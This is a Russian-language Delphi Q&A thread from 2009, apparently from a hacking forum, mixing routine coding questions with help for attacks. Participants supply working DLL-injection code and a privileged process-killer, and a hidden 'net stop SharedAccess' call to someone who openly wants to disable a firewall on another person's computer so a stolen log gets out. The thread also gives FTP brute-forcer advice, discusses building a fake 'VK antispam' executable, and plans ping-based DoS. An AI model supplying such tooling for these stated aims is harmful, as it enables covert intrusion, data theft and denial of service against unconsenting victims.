Если надумаешь сам кодить ищи снифер на Delphi... в сети есть как минимум 3 исходника рабочие которые можешь изучить и уже начинать делать что то своё...

Katan
16.11.2009, 01:19
Это не бот, это снифер с возможностью правки отправляемых на сервер данных...
Для WOW BC была такя прога, называлась она WPE поищи в инете, возможно она тебе поможет и писать ничего не придётся...
Для разных игр есть разные, для линейки тож есть какой то...
но это НЕ бот...
Если надумаешь сам кодить ищи снифер на Delphi... в сети есть как минимум 3 исходника рабочие которые можешь изучить и уже начинать делать что то своё...
Как я понял для линейки это _http://saur.x33.ru/, для wow это _http://wpepro.net/ ... а для браузера нужен определенный или какой то из них подойдет?

Тогда возникает вопрос, может легче будет сделать по проверке цвета определенного места экрана. И возможно ли на Delphi осуществить проверку цвета по экрану и нажатие при удачном цвете (не удачном) левой кнопки мышки.
Например: если удар не серого цвета, то нажать.

ZET36
16.11.2009, 01:42
Тут такой вопрос. Есть программа-клиент, отправляющая запросы на серв. Нужно с помощью сторонней программы отправить из программы-клиента свой пакет и получить ответ сервера. Покажите пример пожайлусто.

bons
16.11.2009, 02:39
Как в Делфи определить - параллельны ли отрезки?
Имеются точки начала и конца их.
почитай в википедии про Векторное произведение
Тут такой вопрос. Есть программа-клиент, отправляющая запросы на серв. Нужно с помощью сторонней программы отправить из программы-клиента свой пакет и получить ответ сервера. Покажите пример пожайлусто.
с помощью сниффера изучи содержимое запроса и попытайся подделать его

BrainDeaD
16.11.2009, 04:41
с помощью сниффера изучи содержимое запроса и попытайся подделать его
charles пойдёт?

tracerini
16.11.2009, 06:09
только не качай последнюю версию, там защита от редактирования пакетов

ZET36
16.11.2009, 14:18
с помощью сниффера изучи содержимое запроса и попытайся подделать его
Спасибо, но я хотел отправить запрос именно из программы-клиента (допустим qip) с помощью своей программы. Нужно как то перехватить хэндл сокета этой программы. Думаю нужно смотреть в сторону хуков (перехват api функций).

slesh
16.11.2009, 14:32
2 ZET36 никаких хуков не нудо.
Достаточно внедриться в прогу (хотябы под видом DLL) или открыть процесс того приложения с правами на копирование дискрипторов.

Затем запросить список всех дискрипторов которые открыты в проге(или том процессе, если через открытие делаеш). Далее перебрать их всех и определить к чему он относится и если это дискриптор связанный с сетью, то прям его и юзай для функции send (если из другова процесса делаеш, то просто копируй его к себе)

ZET36
16.11.2009, 14:39
slesh, можно пример или литературу которую стоит почитать для этого?

=Zeus=
16.11.2009, 14:46
У слеша в подписи его сайт, там есть статья про длл.

slesh
16.11.2009, 15:44
То, что на сайте у меня про DLL - это слишком уже крайняя мера, потому как там код из ядра должен был грузить(да и устаревший он уже. Я уже написал универсальнй работающий от 2000 до w7), а в юзермоде проще всё. Так что советую почитать тебе на васме про инжект DLL в процесс. также есть и другой вариант - когдато тут выкладывал код для изменения файла проги так, чтобы при старте она подгружала нужную нам DLL.

Тут зависит от того для чего ты это всё делаеш. Потмоу как можно и банальным копированием хендлов обойтись

transserg
16.11.2009, 18:13
есть в WINAPI файловые потоки как класс TFileStream?

Пуховой
17.11.2009, 05:19
Буду рад любой информации по работе с ICS.

Пока ковыряю примеры, идущие в комплекте, скорость и стабильность определенно выше, чем у старой доброй indy, под впечатлением.

slesh
17.11.2009, 10:45
2 transserg нет, нет и еще раз нет. Для работы с файлами существуют обычные апишки
CreateFile - открытие/создание файла
WriteFile - запись в файл
ReadFile - чтение из файла
CloseHandle - закрытие дискриптора
SetFilePointer - перемещение указателя внутри файла на какую либо позицию.

transserg
17.11.2009, 11:22
тогда немного похожий вопрос (задавал на прошлой странице но небыло ответа) как записать структуру в файл в бинарный поля структыру динамические.... + надописать не одну структуру а несколько... как тогда лучше организовать хранение данных, данные в основном строковые

KaZ@NoVa
17.11.2009, 12:10
тогда немного похожий вопрос (задавал на прошлой странице но небыло ответа) как записать структуру в файл в бинарный поля структыру динамические.... + надописать не одну структуру а несколько... как тогда лучше организовать хранение данных, данные в основном строковые


Как и в любой подобной ситуации - если в файле должно быть несколько обьектов данных, а загружать надо только один, то надо писать хэдер с ID обьекта (в данном случае строки), а также его длиной и смещением (позицией в файле), а дальше писать сами файлы. Хэдер надо делать в 2 захода - сначала сделать макет, проверить его длину, и потом вписать значения смещений обьектов плюс длина хэдера. А дальше писать сами обьекты по смещениям в хэдере.

transserg
17.11.2009, 12:30
KaZ@NoVa как же быть если надо будет изменить что то? тогда предется весь файл перелопачивать так как места в заголовке может не остаться=)

KaZ@NoVa
17.11.2009, 16:38
KaZ@NoVa как же быть если надо будет изменить что то? тогда предется весь файл перелопачивать так как места в заголовке может не остаться=)

А как же иначе? Если надо изменить строки, которые хранятся в бинарном файле, причем неизвестно, какая максимальная длина строки, то файл придется перезаписывать в любом случае. Можно, конечно, его в XML/WDDX/serialize хранить, но это уже другой случай.

boomba
17.11.2009, 22:43
Подскажите.
проверяю список фтп. делаю через инди.
IdFTP1.Host := ftp;
IdFTP1.UserName := username;
IdFTP1.Password := password;
IdFTP1.Connect;
но медленно работает при проверках большого количества фтп. как проверку можно ускорить?
может кто поделится исходником или примером. можно пм.
спасибо.

SaiRus
17.11.2009, 23:34
--------true---------------
case <value> of
constant:expression;
end;
-----------false-------------
case <value> of
expression:expression;
end;
------------fix---------------
oO ??????????????
для меня открытие, что case не воспринимает выражения, действительно нельзя вместо константы подставить рандом числа к примеру?должен быть ведь обход... :)
собственно говоря вот (http://docs.embarcadero.com/products/rad_studio/delphiAndcpp2009/HelpUpdate2/EN/html/devcommon/cm_const_expr_xml.html) от источник проблеммы

ПС:вопрос актуален, но решен циклом, бриками, цитромоном

StealthMaster
18.11.2009, 03:14
Можно ли в Delphi написать циклический сдвиг строки вправо\влево используя вставку на ассемблере?

И будет ли эта функция работать быстрее, чем например:


function (str: string; index: integer): string;
begin
Result := copy(string, index, length(str) - index) + copy(str, 1, index)
end;

RumShun
18.11.2009, 06:53
boomba тебе нужна многопоточность, но если ты будешь использовать инди+многопоточность это сильно подвесит систему, тебе нужен Winsock. Вобщем для брутера фтп тебе нужна многопоточность+Winsock, исходники исчи сам, про winsock и фтп есть тут на ачате гдето, вроде в статьях. Ну а использование потоков смотри в учебниках.

slesh
18.11.2009, 10:56
2 StealthMaster то, что ты написал - это самый медленный вариант.
Проще будет просто циклом пробежаться по все строке и поменять элементы местами

ZET36
18.11.2009, 15:53
Так что советую почитать тебе на васме про инжект DLL в процесс.
Нашёл вот на сорцах ру
http://forum.sources.ru/index.php?showtopic=282574


function InjectLibrary(Process: LongWord; DLLPath: PChar): Boolean;
var
Parameters: Pointer;
BytesWritten, Thread, ThreadID: dword;
begin
Result := False;
Parameters := VirtualAllocEx(Process, nil, 4096, MEM_COMMIT, PAGE_READWRITE);
if Parameters = nil then
Exit;
WriteProcessMemory(Process, Parameters, Pointer(DLLPath), 4096, BytesWritten);
Thread := CreateRemoteThread(Process, nil, 0, GetProcAddress(GetModuleHandle('KERNEL32.DLL'), 'LoadLibraryA'), Parameters, 0, ThreadId);
WaitForSingleObject(Thread, 3000);
VirtualFreeEx(Process, Parameters, 0, MEM_RELEASE);
if Thread = 0 then
Exit;
CloseHandle(Thread);
Result := True;
end;


Только вот не понимаю как должна выглядеть переменная процесса (Process: LongWord), как её получить? Вроде ProcessID это Dword

transserg
18.11.2009, 16:31
вот что написанно в мсдн

LPVOID WINAPI VirtualAllocEx(
__in HANDLE hProcess,
__in LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD flAllocationType,
__in DWORD flProtect
);

hProcess
The handle to a process. The function allocates memory within the virtual address space of this process.


тоесть в параметре функции Process: LongWord; ты должен передать хендл процесса с которым будеш работать.
хендл процесса получаеш через OpenProcess

ZET36
18.11.2009, 17:02
transserg Спасибо! Буду прбывать

iGlass
19.11.2009, 13:48
Всем доброго времени суток!
Прочитал сию статью... Но функции такой нету...
Мб кто знает где туплю.. Заранее спасибо!
_http://www.xakep.ru/post/37143/default.asp?page=1

StealthMaster
19.11.2009, 16:15
Добавь в список используемых приложением юнитов WinSvc.

uses "все что было", WinSvc;


Должно помочь. потому что большая часть функций для работы с сервисами объявлена в WinSvc.Pas.

iGlass
19.11.2009, 19:08
Добавь в список используемых приложением юнитов WinSvc.

uses "все что было", WinSvc;


Должно помочь. потому что большая часть функций для работы с сервисами объявлена в WinSvc.Pas.

Большое человеческое спасибо! Помогло =)

Ponchik
19.11.2009, 21:01
Вот в борланд дельфи запустил прогу, она зациклила, как её убить? Ненадо мне щас тут про Alt+Ctrl+Del и ребут, есть какя-то комбинация клавиш для этого, банан говорил и я юзал, но вот забыл >_<
Гугл мне вобще про OnClose(); и destroy(); расказывает

wolmer
19.11.2009, 21:03
Вот в борланд дельфи запустил прогу, она зациклила, как её убить? Ненадо мне щас тут про Alt+Ctrl+Del и ребут, есть какя-то комбинация клавиш для этого, банан говорил и я юзал, но вот забыл >_<
Переходишь в окно делфи, дальше по вкладкам -> RUN -> PROGRAM RESET

Или Application.ProcessMessages; в цикле

(понял как есть)

Ponchik
19.11.2009, 21:05
Аха, спс Ctrl+F2 знач, работат

SHAXID
19.11.2009, 23:35
Товарищи, подскажите, пожалуйста, на счет этой задачи:
С помощью компонента TabControl создать электрон.записную книжку, которая содержит инфу о 5-ти людях: №тел., фио, адрес, дата рождения и тд.
На форму бросил, значит, TabControl, создал вкладки (вышеперечисленные), в него же запихнул List, разместил кнопки "Добавить" и "Удалить"..вот что получилось:
http://s55.radikal.ru/i148/0911/a8/ea3e03877dbf.jpg

И какие процедуры теперь нужно именно прописать в button'ах, чтобы всё нормально работало..и как лучше оформить TabControl, чтобы при переключении вкладок, ФИО оставалось на месте =)

ZET36
20.11.2009, 01:27
Внедритья в приложение под видом dll у меня получилось, но вот как получить дескриптор сокета этой проги?
Я так понимаю сначала нужно получить адрес этой функции через GetProcAddress потом через ReadProcessMemory читать байты по этому адресу?

Получить адрес api функции "send" можно так? если не ошибаюсь, да?

pTemp: Pointer;

pTemp:=GetProcAddress(GetModuleHandle('wsock32.dll '),'send');

.....
Порыскал на гугле, нашёл уже почти готовые модули для этого, извините за лень

SHAXID
20.11.2009, 22:36
Подскажите плз, как в delphi, работая с компонентом tabcontrol, изменить содержимое компонента listbox при переключении закладки?

wolmer
20.11.2009, 22:44
Подскажите плз, как в delphi, работая с компонентом tabcontrol, изменить содержимое компонента listbox при переключении закладки?
procedure TForm1.TabControl1Change(Sender: TObject);
begin
ShowMessage(TabControl1.Tabs.Strings[TabControl1.TabIndex]);
end;
Вместо showmessage пишешь сверение (if) с указаным текстом и текстом закладки закладки, и изменяешь то что нужно (а именно сод. listbox) при определенном тексте выбранной закладки

(думаю понятно объяснил)

SHAXID
20.11.2009, 23:06
procedure TForm1.TabControl1Change(Sender: TObject);
begin
ShowMessage(TabControl1.Tabs.Strings[TabControl1.TabIndex]);
end;
Вместо showmessage пишешь сверение (if) с указаным текстом и текстом закладки закладки, и изменяешь то что нужно (а именно сод. listbox) при определенном тексте выбранной закладки

(думаю понятно объяснил)


че-то как-то не догнал.. =(

Вот такая тема у меня вообщем есть..а дальше вот хз..
http://s41.radikal.ru/i092/0911/b3/193629ebb41a.jpg

wolmer
20.11.2009, 23:24
SHAXID

Пример:
procedure TForm1.TabControl1Change(Sender: TObject);
begin
if TabControl1.Tabs.Strings[TabControl1.TabIndex]='11111111' then
begin
Memo1.Lines.Text:='Эта первая вкладка!';
end;

if TabControl1.Tabs.Strings[TabControl1.TabIndex]='22222222' then
begin
Memo1.Lines.Text:='Эта вторая вкладка!';
end;

if TabControl1.Tabs.Strings[TabControl1.TabIndex]='33333333' then
begin
Memo1.Lines.Text:='Эта третья вкладка!';
end;
end;

Естественно все вкладки:
11111111
22222222
33333333

Так более менее понятно? :)

SHAXID
21.11.2009, 00:10
Ага, спасибо огромное! Очень выручил! ;)

0ldbi4
21.11.2009, 08:40
Не могли бы подсказать как с приложения перекинуть пользователя на страницу интернета, и как ребатнуть комп не кого не о чем не спрашивая??

0ldbi4
21.11.2009, 09:58
И ещё вопросик как обойти вопрос брэндмауэра типо блокировать или нет приложение, хотя прикол нажал блокировать и все равно соединение установилось и лог ушел)

SHAXID
21.11.2009, 10:06
Возник еще один вопросец...
Нужно рассчитать кол-во товара значит, и чтоб результат расчета появлялся в
Form1.StringGrid1.Cells[2,1]..т.е. вводим в Edit1 сумму, ждем "Рассчитать" и в ячейке появляется результат..
Вот скрин для наглядности:
http://i073.radikal.ru/0911/f1/bf50ae9c26a9.jpg

0ldbi4
21.11.2009, 10:10
procedure расчитатьbtn.click (sender:Tobject)
x,y:integer;
begin
x:=strtoint(edit1.text);
y:=формула которая чтото делает с Х;
stringgrid1.cells[2,1]:=inttostr(y);
end;

вот как то так

SHAXID
21.11.2009, 10:31
Вот такая тема теперь появляется:
http://s43.radikal.ru/i100/0911/be/198d30982dbe.jpg

0ldbi4
21.11.2009, 10:36
что это значит?

SHAXID
21.11.2009, 10:41
что это значит?

редактнул пост :)

DiHWO
21.11.2009, 11:07
0ldbi4, Выруби брэндмауэр и он не будет тебе вопросы задавать....SHAXID, ты что то с переменными напутал, посмотри повнимательней, у тебя x и y разных типов и поэтому ты неможешь ничего сделать. Incompatible types=несовместимые типы.

--StraNger--
21.11.2009, 11:09
значение stringgrid1.cells[1,1] - строка.
преобразуй с помощью strtoint

Пуховой
21.11.2009, 11:22
SHAXID, вы пытаетесь 2 разных типа поделить.
Замените
y := x / strtoint (stringgrid1.cells[1,1]);

Пуховой
21.11.2009, 11:24
Не могли бы подсказать как с приложения перекинуть пользователя на страницу интернета, и как ребатнуть комп не кого не о чем не спрашивая??

ShellExecute (GetDesktopWindow(), 'open', 'http://downteam.ru/', '', '', SW_SHOWDEFAULT);

shellapi в uses не забудьте добавить.

SHAXID
21.11.2009, 11:44
Спасибо всем! Разобрался)

0ldbi4
21.11.2009, 17:12
Тоже всех поблагодарю, а как вырубить брэндмауер на чужом компе?

ZET36
21.11.2009, 18:01
0ldbi4

Функция завершения процесса по PID ( в том числе и системных)

function ProcessTerminate(dwPID:Cardinal):Boolean;
var
hToken:THandle;
SeDebugNameValue:Int64;
tkp:TOKEN_PRIVILEGES;
ReturnLength:Cardinal;
hProcess:THandle;
begin
Result:=false;
// Добавляем привилегию SeDebugPrivilege
// Для начала получаем токен нашего процесса
if not OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES
or TOKEN_QUERY, hToken ) then
exit;

// Получаем LUID привилегии
if not LookupPrivilegeValue( nil, 'SeDebugPrivilege', SeDebugNameValue )
then begin
CloseHandle(hToken);
exit;
end;

tkp.PrivilegeCount:= 1;
tkp.Privileges[0].Luid := SeDebugNameValue;
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;

// Добавляем привилегию к нашему процессу
AdjustTokenPrivileges(hToken,false,tkp,SizeOf(tkp) ,tkp,ReturnLength);
if GetLastError()<> ERROR_SUCCESS then exit;

// Завершаем процесс. Если у нас есть SeDebugPrivilege, то мы можем
// завершить и системный процесс
// Получаем дескриптор процесса для его завершения
hProcess := OpenProcess(PROCESS_TERMINATE, FALSE, dwPID);
if hProcess =0 then exit;
// Завершаем процесс
if not TerminateProcess(hProcess, DWORD(-1))
then exit;
CloseHandle( hProcess );

// Удаляем привилегию
tkp.Privileges[0].Attributes := 0;
AdjustTokenPrivileges(hToken, FALSE, tkp, SizeOf(tkp), tkp, ReturnLength);
if GetLastError() <> ERROR_SUCCESS
then exit;

Result:=true;
end;


Получить PID указанного процесса можно так

function GetProcID(Names: String): cardinal;
var
PHandle: THandle;
ProcEntry: TProcessEntry32;
lpName, Name: string;
begin
Result:=0;
Name:=UpperCase(Names);
PHandle:=CreateToolHelp32Snapshot(TH32CS_SNAPPROCE SS, 0);
ProcEntry.dwSize:=sizeof(TProcessEntry32);

if Process32First(PHandle, ProcEntry) then
begin
lpName:=ProcEntry.szExeFile;
lpName:=UpperCase(lpName);
if lpName=Name then
Result:=ProcEntry.th32ProcessID;
end;

while Process32Next(PHandle,ProcEntry) do
begin
lpName:=ProcEntry.szExeFile;
lpName:=UpperCase(lpName);
if lpName=Name then
Result:=ProcEntry.th32ProcessID;
end;
CloseHandle(PHandle);
end;

Не забудь добавить в uses TLHelp32

Как уже понял вызывается завершение процесса так

ProcessTerminate(GetProcID('Winrar.exe'));

0ldbi4
21.11.2009, 18:06
ZET спасибо

Nullsleep
21.11.2009, 18:07
В XP - WinExec('net stop SharedAccess', SW_HIDE);

ZET36
21.11.2009, 18:20
ZET спасибо так то всё ясно но примеров не видел и не соображу где достать дискриптор и какой процесс у брэндмауэра?
Добавил примеры в предыдущий пост.

Процесс бранмаузера можно узнать заглянув в Панель управления-Центр обеспечения безопасности windows-Брандмаузер windows. И палить в диспечере задач, какой новый процесс вылезет
У меня просто файрвол стоит а брандмаузер отключон

0ldbi4
21.11.2009, 18:24
Nullsleep сработало, ZET ещё раз спасибо не хочется заморачиватся, сохранил пост использую в следующих проектах, а вот
ShellExecute (GetDesktopWindow(), 'open', 'http://downteam.ru/', '', '', SW_SHOWDEFAULT);
Что то не работает, хотя у меня вообще подобные вещи на компе не работают(залочены где то), но если ты уверен что робит Пуховой то так оставлю

Пуховой
21.11.2009, 19:04
0ldbi4, в любом моем приложении, в меню "Сайт автора". По клику прописано как раз это:

ShellExecute (GetDesktopWindow(), 'open', 'http://downteam.ru/', '', '', SW_SHOWDEFAULT);

wolmer
21.11.2009, 21:07
function TForm1.GetInd(): string;
var
s:tsocket;
addr: sockaddr_in;

send1:string;
begin
s:=socket(af_inet, SOCK_STREAM, 0);
addr.sin_family:=AF_INET;
addr.sin_addr.S_addr:=inet_addr(pchar('1'));
addr.sin_port:=htons(80);

if connect(s, addr, sizeof(addr))=0 then
begin
send1:='GET http://www.virustotal.com/vt/en/identificador HTTP/1.1'+#13#10+
'User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.01'+#13#10+
'Host: www.virustotal.com'+#13#10+
'Referer: http://www.virustotal.com/ru/'+#13#10+
'Cookie: idioma=ru'+#13#10+
'Cookie2: $Version=1'+#13#10+
'Connection: Keep-Alive'+#13#10+#13#10;

end;
end;
Не понимаю почему я не могу написать код после того как присвоил переменной send1 пакет,
т.е. хочу чтобы подсказки высветились (какие процедуры/функции доступны для написания)
он мне ниче не высвечивает а вылетает error окошко с текстом: "Unable to invoke Code Completion due to errors in source code" однако ошибок нету, компилируется нормально (однако если написать вместо пакета что нибуть другое -> дальше написание кода будет возможным)

slesh
21.11.2009, 21:56
глюк с делфи. такое бывает. попробуй перезапустить.

=Zeus=
21.11.2009, 22:07
Ребята, просветите.
Скачал исходничек программы для пинга. Все работает отлично. Но когда я увеличиваю размер пакета примерно до ~1300 байт, сервера перестают отвечать. Почему? Ведь максимально можно отправить около 50к.
Может специально стоит защита?

wolmer
21.11.2009, 22:30
глюк с делфи. такое бывает. попробуй перезапустить.
Все та же проблема :eek:

ZET36
21.11.2009, 22:52
Ребята, просветите.
Скачал исходничек программы для пинга. Все работает отлично. Но когда я увеличиваю размер пакета примерно до ~1300 байт, сервера перестают отвечать. Почему? Ведь максимально можно отправить около 50к.
Может специально стоит защита?

или Ты их Dos'ишь
http://ru.wikipedia.org/wiki/Ping_of_death

или скорей всего сам напрягаешь свой сервак так что пропадает коннект

=Zeus=
21.11.2009, 22:57
или Ты их Dos'ишь
http://ru.wikipedia.org/wiki/Ping_of_death

или скорей всего сам напрягаешь свой сервак так что пропадает коннект
Ну в общем-то досить буду в перспективе, для того мне и нужны большие пакеты, а пока просто однократный пинг-запрос делаю, причем на разные сервера. Пробовал от гугла до всяких лох.ру. Не знаю, в чем соль. Может пров как-то контролирует...

ZET36
21.11.2009, 22:58
wolmer

addr.sin_addr.S_addr:=inet_addr(pchar('1'));

Что это?

попробуй так

Site : PChar;
HostEnt : PHostEnt;
......
Site := 'www.virustotal.com;
HostEnt := gethostbyname(Site);
addr.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);


Короче не мучайся

procedure TForm1.Button1Click(Sender: TObject);
var Site : PChar;
sock : TSocket;
HostEnt : PHostEnt;
WSA : TWSAData;
addr : sockaddr_in;
sendbuff : String;
PostData : String;


f:TextFile;
i:integer;
buf:array[0..255] of char;
begin

if WSAStartup($0101, WSA) <> 0 then
Exit;
sock := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
FillChar(addr, SizeOf(sockaddr_in), 0);
addr.sin_family := AF_INET;
addr.sin_port := htons(80); //порт
Site := 'www.virustotal.com'; //хост
HostEnt := gethostbyname(Site);
addr.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);

Connect(sock, addr, SizeOf(addr)); //соединяемся


sendbuff := 'GET http://www.virustotal.com/vt/en/identificador HTTP/1.1'+#13#10+
'User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.01'+#13#10+
'Host: www.virustotal.com'+#13#10+
'Referer: http://www.virustotal.com/ru/'+#13#10+
'Cookie: idioma=ru'+#13#10+
'Cookie2: $Version=1'+#13#10+
'Connection: Keep-Alive'+#13#10+#13#10; //пакет

send(sock, sendbuff [1], Length(sendbuff), 0); //отправляем пакет


end;

ZET36
21.11.2009, 23:01
=Zeus= а возможно защита, сервер просто блокирует частые icmp запросы с одного адреса с большим содержимым.

wolmer
21.11.2009, 23:03
Что это?
А блин точно :D :o Забыл сказать что это роли никакой толком не играет при написании кода (точнее -> сейчас проблема не в этом)

=Zeus=
21.11.2009, 23:17
Странно, просто я читал на википедии что серваки так и ложат, большим размером пинг-пакета. И приведен пример дос-атаки, в которой пакеты были 20 000 байт. А у меня даже при отправке 2 000 ответ не приходит. Или он и не должен?

Ошибка 11010

Блокировка запроса по времени

Ответ не получен в отведенное время. Время по умолчанию, отведенное для получения ответов, равно 5 секундам.
Пробовал ждать минуту, все равно не приходит. Думаю что сервер просто не обрабатывает запрос.

Нашел ответ. Сервера просто блокируют запрос размером больше чем у них определено, очевидно этот придел ~1300 байт. Только что пропинговал обычный комп пакетом в 20480 байт - все норм, 1496 ms.

ZET36
21.11.2009, 23:22
wolmer я добавил в предыдущий свой пост рабочий код отправки запроса на virustotal

wolmer
21.11.2009, 23:26
wolmer я добавил в предыдущий свой пост рабочий код отправки запроса на virustotal
Это ясное дело что так тоже можно сделать, но мне нужно решение моей проблемы

ZET36
21.11.2009, 23:33
Пробовал ждать минуту, все равно не приходит. Думаю что сервер просто не обрабатывает запрос.может ещё автобан стоять, припопытке dosa

GL_Loney
22.11.2009, 00:08
Есть ли смысл сейчас изучать Паскаль? Говорят он уже мертвый и писать на нем бесперспективно, когда есть С++ Мне сказали он нужен для общего развития, чтобы как бы втянуться в эту сферу... на что я ответил зачем изучать то, чем ты не будешь пользоваться, не лучше ли начать по существу, т.е. с С++! Что вы на это скажите? Спасибо.

=Zeus=
22.11.2009, 00:25
Есть ли смысл сейчас изучать Паскаль? Говорят он уже мертвый и писать на нем бесперспективно, когда есть С++ Мне сказали он нужен для общего развития, чтобы как бы втянуться в эту сферу... на что я ответил зачем изучать то, чем ты не будешь пользоваться, не лучше ли начать по существу, т.е. с С++! Что вы на это скажите? Спасибо.
ИМХО, личное дело каждого, кто на чем хочет писать. Я вот патриот Делфи, и С++ мне не нравится. Паскаль не мертвый, так как Делфи - это object Pasсal. Подитожим: если хочешь писать на Делфи учи паскаль. А если хочешь на вижуал с++ то учи с++. :)

GL_Loney
22.11.2009, 00:28
ИМХО, личное дело каждого, кто на чем хочет писать. Я вот патриот Делфи, и С++ мне не нравится. Паскаль не мертвый, так как Делфи - это object Pasсal. Подитожим: если хочешь писать на Делфи учи паскаль.
А в чем принципиальная разница между тем же самым Делфи и С++? Правда это я думаю тупой вопрос, но все же :) И правильно ли я понял, что если выучу Паскаль, то смогу программировать на Делфи?

=Zeus=
22.11.2009, 00:52
А в чем принципиальная разница между тем же самым Делфи и С++? Правда это я думаю тупой вопрос, но все же :) И правильно ли я понял, что если выучу Паскаль, то смогу программировать на Делфи?
Как по мне так разница в синтаксисе.
Выучив паскаль ты получишь основу для изучения Делфи. Будешь знать как обьявлять переменные и тд. Прийдется, конечно, учить еще и Делфи, так как это Обьектно-ориентированный язык, а паскаль- консольный, но будет уже легче.
Лично я паскаль не учил. Я пришел к репетитору и говорю, что хочу уметь писать программы. И мы начали курс Делфи. А уже потом в школе мы начали учить паскаль. Попробуй и ты сразу с делфи, может тебе пойдет и ты сразу поймешь.
Поищи по форуму, было 100500 статей, как начать программировать, что читать. И про гугл не забывай.
Удачи.

Proger10
22.11.2009, 09:14
Низнаю, низнаю, насчет того что начинать с Delphi, знаю несколько людей, которые очень хотяли научится прогрммировать и в итоге бросили, потому что им было все не понятно, а я зная паскаль после двух месяцев вожения с delphi, написал прогу которая вполне сошла б за коммерческий продукт.
Но это наверно от преподавателя зависит (а я сам delphi выучил)

ZET36
22.11.2009, 13:09
Существует ли аналог Sendmessagge/Postmessage который отправляет сообщения не окну, а на пример хэндлу или pid программы, уже подумываю о отправке через сокет на 127.0.0.1 :D
Немножко изменю вопрос. Нужно, в принципе, обмениваться сообщениями с dll, которая инжектирована в другое приложение, только как получить/обращаться к форме приложения в которое она инжектирована из этой dll ?

Главная проблема, как уже поняли, в приёме данных библиотекой
..
Решил даную проблему

function GetFormFromHandle(Handle: HWnd): TForm;
var
wc: TWinControl;
begin
wc := FindControl(Handle);
if (wc is TForm)
then Result := TForm(wc)
else Result := nil;
end;

Freedom
22.11.2009, 17:00
Ребят помогите плиз. Собственно вопрос как капчу Recaptcha загрузить в TImage ?

Пуховой
22.11.2009, 17:46
Может ли данная функция кушать память (не освобождать по выполнении) ? Используется и из вспомогательных потоков, и из главного потока.

function httpget (http : tidhttp; adr : widestring) : widestring;
var
str : tstringstream;
begin
str := tstringstream.Create('');
try http.Get (adr, str); except end;
Result := str.DataString;
str.Free;
end;

С некоторого времени многопоточные программы для работы с сетью стали кушать очень много памяти (на 50 потоков - 80 мб уже на 10-й минуте работы, чем дальше - тем больше). TrimWorkingSet, естественно, не помогает.

0ldbi4
22.11.2009, 19:05
Вопросик: каким образом создаются билдеры ны дэлфе? Есть фэйк рабочий чтобы его перенастроить надо вего 3 переменных поменять, а как это сделать на знаю(

=Zeus=
22.11.2009, 19:20
Вопросик: каким образом создаются билдеры ны дэлфе? Есть фэйк рабочий чтобы его перенастроить надо вего 3 переменных поменять, а как это сделать на знаю(
Сформулируйте пожалуйста вопрос. Билдеры чего? Какой фейк? Что у вас конкретно не получается?

transserg
22.11.2009, 19:26
есть ли в делфи функции чтоб обрабатывать строки по маске? типа ? или *

0ldbi4
22.11.2009, 19:26
Фэйк ВК антиспам агент(думаю не суть), не получается нечего потому как не знаю.

Как вообщем Создать билдер того самого фэйка чтобы на выходе ехе выдавался с введенными переменными??

0ldbi4
22.11.2009, 19:34
c:=ord(char(pchar(mes[1])));
SetFilePointer(f, $2851, nil, 0);
WriteFile(f, c, SizeOf©, BytesRead, nil);

Но это подходит для патчинга ане билдинга, хех продвинулся и нашел
CreateExe(EOutFile.Text, 14336); каким образом работает эта функция и как засунуть один exe в другой?

Каким образом динамически искать байты для замены т.е. пол винхекс который найдет байт и заменит его?

iGlass
22.11.2009, 19:39
Всем доброго времени суток!
У меня есть вопрос:

У меня есть библиотека, я хочу чтобы explorer загружал её при старте Windows, как такое можно реализовать и можно ли вообще?

Заранее очень благодарен!

0ldbi4
22.11.2009, 19:46
iGlass ты хочешь чтобы провести dll инжект?xakep.ru (http://www.xakep.ru/post/26796/default.asp)
нужно её загрузить как приложение те через запуск длл как приложений или нужно чтобы ехрлогег цеплял его??

iGlass
22.11.2009, 19:51
iGlass ты хочешь чтобы провести dll инжект?xakep.ru (http://www.xakep.ru/post/26796/default.asp)
нужно её загрузить как приложение те через запуск длл как приложений или нужно чтобы ехрлогег цеплял его??

Да, чтоб эксплорер цепанул её, и она там висела, её цель искать определённое приложение и не дать ему запуститься..

За статью спасибо, пригодиться.

0ldbi4
22.11.2009, 20:01
Не уверен но вроде explorer работает без длл можно инжект (up),

А не проще прогу в авто загрузке или инжектить к проге из автозагрузки?? просто скрыть её и все, есть служба запуск длл как приложения не разу не пользовался но кажется она может помочь..

iGlass
22.11.2009, 20:06
Ну вот смотри, есть программа, она не прописана в автозапуске, пользователь захотел запустил захотел не запустил.. Так вот, Мне до запуска программы нужно подгрузить свою библеотеку чтобы она уже висела впамяти и ждала прогу, а когда пользователь начнёт запускать программу, то ничего происходить не будет т.к в dll стоит хук.

Желательно бы про эту службу по подробнее )

Вот такие пироги =)

0ldbi4
22.11.2009, 20:16
iGlass можно если ты знаешь что эта программа есть, узнать адресс проги в реестре и инжектится в нее при запуске, тогда можно с ней делать что угодно из-нутри так сказать.

Про службу погугли сам, если что найдется интересное пиши в ПМ

iGlass
22.11.2009, 20:18
ок, завтра посмотрю.. У нас поздно уже.. 00.18 =(

За статью ещё раз спасибо, очень интересно =)

KaZ@NoVa
22.11.2009, 20:40
Может ли данная функция кушать память (не освобождать по выполнении) ? Используется и из вспомогательных потоков, и из главного потока.

function httpget (http : tidhttp; adr : widestring) : widestring;
var
str : tstringstream;
begin
str := tstringstream.Create('');
try http.Get (adr, str); except end;
Result := str.DataString;
str.Free;
end;

С некоторого времени многопоточные программы для работы с сетью стали кушать очень много памяти (на 50 потоков - 80 мб уже на 10-й минуте работы, чем дальше - тем больше). TrimWorkingSet, естественно, не помогает.


Если все вызовы относятся к стандартным то они по идее обязаны за собой чистить память, однако все равно тебе не помешала бы трассировка.